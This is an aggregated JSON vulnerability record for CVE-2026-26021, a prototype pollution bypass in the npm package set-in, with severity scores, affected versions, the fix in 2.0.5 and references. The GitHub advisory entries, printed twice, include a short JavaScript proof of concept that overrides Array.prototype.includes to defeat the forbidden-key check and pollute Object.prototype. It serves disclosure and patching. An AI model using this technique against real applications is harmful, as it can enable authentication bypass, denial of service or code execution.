{"id":"CVE-2026-26021","aliases":["EUVD-2026-6208","GHSA-2c4m-g7rx-63q7"],"status":"published","title":"Prototype pollution in set-in","description":"set-in provides the set value of nested associative structure given array of keys. A prototype pollution vulnerability exists in the the npm package set-in (\u003e=2.0.1, \u003c 2.0.5). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.","severity":{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00557,"percentile":0.46905,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2026-02-11T15:13:28Z","modified":"2026-10-28T02:30:56Z","fixes":[{"ecosystem":"npm","package":"set-in","fixed_in":["2.0.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"set-in","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.1"},{"fixed":"2.0.5"}]}]},{"source":"osv","ecosystem":"npm","package":"set-in","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.1"},{"fixed":"2.0.5"}]}]}],"products":[{"vendor":"ahdinosaur","product":"set-in"},{"vendor":"set-in_project","product":"set-in"}],"references":[{"url":"https://github.com/ahdinosaur/set-in/security/advisories/GHSA-2c4m-g7rx-63q7","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/ahdinosaur/set-in/commit/b8e1dabfdbd35c8d604b6324e01d03f280256c3d","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/ahdinosaur/set-in/pull/6","tags":["web"]},{"url":"https://github.com/ahdinosaur/set-in/commit/34842cc02de3fd65d6f8bd0b268347e7b390125b","tags":["web"]},{"url":"https://github.com/ahdinosaur/set-in/commit/6bad255961d379e4b1f5fbc52ef9dc8420816f24","tags":["web"]},{"url":"https://github.com/ahdinosaur/set-in/commit/d87c1a09fa2edb55cd76440a67d83d1cb828df11","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26021","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2c4m-g7rx-63q7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26021.json","tags":["advisory"]},{"url":"https://github.com/ahdinosaur/set-in","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-26021","title":"Prototype pollution in set-in","description":"set-in provides the set value of nested associative structure given array of keys. A prototype pollution vulnerability exists in the the npm package set-in (\u003e=2.0.1, \u003c 2.0.5). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.","status":"published","published":"2026-02-11T21:18:50.084Z","modified":"2026-02-12T21:16:04.618Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T13:38:20.971157Z"}],"euvd":[{"id":"EUVD-2026-6208","description":"set-in provides the set value of nested associative structure given array of keys. A prototype pollution vulnerability exists in the the npm package set-in (\u003e=2.0.1, \u003c 2.0.5). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.","status":"published","published":"2026-02-11T21:18:50Z","modified":"2026-02-12T21:16:04Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"updated_at":"2026-11-02T19:48:39.919829Z"}],"ghsa":[{"id":"GHSA-2c4m-g7rx-63q7","title":"set-in Affected by Prototype Pollution","description":"### Summary\nA prototype pollution vulnerability exists in the the npm package set-in (\u003e=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.\n\n### Details\nThe vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings.\n\n### PoC\n#### Steps to reproduce\n1. Install latest version of set-in using npm install or cloning from git\n2. Run the following code snippet:\n\n```javascript\nArray.prototype.includes = () =\u003e false; \nconst si = require('set-in');\nconst obj = {};\nconsole.log({}.polluted);\nsi(obj, [\n    'constructor',\n    'prototype',\n    'polluted'\n], 'yes');\nconsole.log('{ ' + obj.polluted + ', ' + 'yes' + ' }');  // prints yes -\u003e indicating that the patch was bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted\nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how set-in is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected.\nIt could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)","status":"published","published":"2026-02-11T15:13:28Z","modified":"2026-02-12T14:19:15Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:39:24.742346Z"}],"nvd":[{"id":"CVE-2026-26021","description":"set-in provides the set value of nested associative structure given array of keys. A prototype pollution vulnerability exists in the the npm package set-in (\u003e=2.0.1, \u003c 2.0.5). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.","status":"published","published":"2026-02-11T22:15:52.077Z","modified":"2026-06-17T10:25:36.833Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:12:05.908608Z"}],"osv":[{"id":"CVE-2026-26021","title":"Prototype pollution in set-in","description":"set-in provides the set value of nested associative structure given array of keys. A prototype pollution vulnerability exists in the the npm package set-in (\u003e=2.0.1, \u003c 2.0.5). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.","status":"published","published":"2026-02-11T21:18:50.084Z","modified":"2026-10-28T02:30:56.841643789Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:44:59.80315Z"},{"id":"GHSA-2c4m-g7rx-63q7","title":"set-in Affected by Prototype Pollution","description":"### Summary\nA prototype pollution vulnerability exists in the the npm package set-in (\u003e=2.0.1). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. This has been fixed in version 2.0.5.\n\n### Details\nThe vulnerability resides in line 28 of https://github.com/ahdinosaur/set-in/blob/master/index.js where includes() function is used to check whether user provided input contain forbidden strings.\n\n### PoC\n#### Steps to reproduce\n1. Install latest version of set-in using npm install or cloning from git\n2. Run the following code snippet:\n\n```javascript\nArray.prototype.includes = () =\u003e false; \nconst si = require('set-in');\nconst obj = {};\nconsole.log({}.polluted);\nsi(obj, [\n    'constructor',\n    'prototype',\n    'polluted'\n], 'yes');\nconsole.log('{ ' + obj.polluted + ', ' + 'yes' + ' }');  // prints yes -\u003e indicating that the patch was bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted\nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how set-in is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected.\nIt could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)","status":"published","published":"2026-02-11T15:13:28Z","modified":"2026-02-22T23:20:49.933624Z","cvss":[{"version":"4.0","score":9.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"critical"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:34.338541Z"}]}}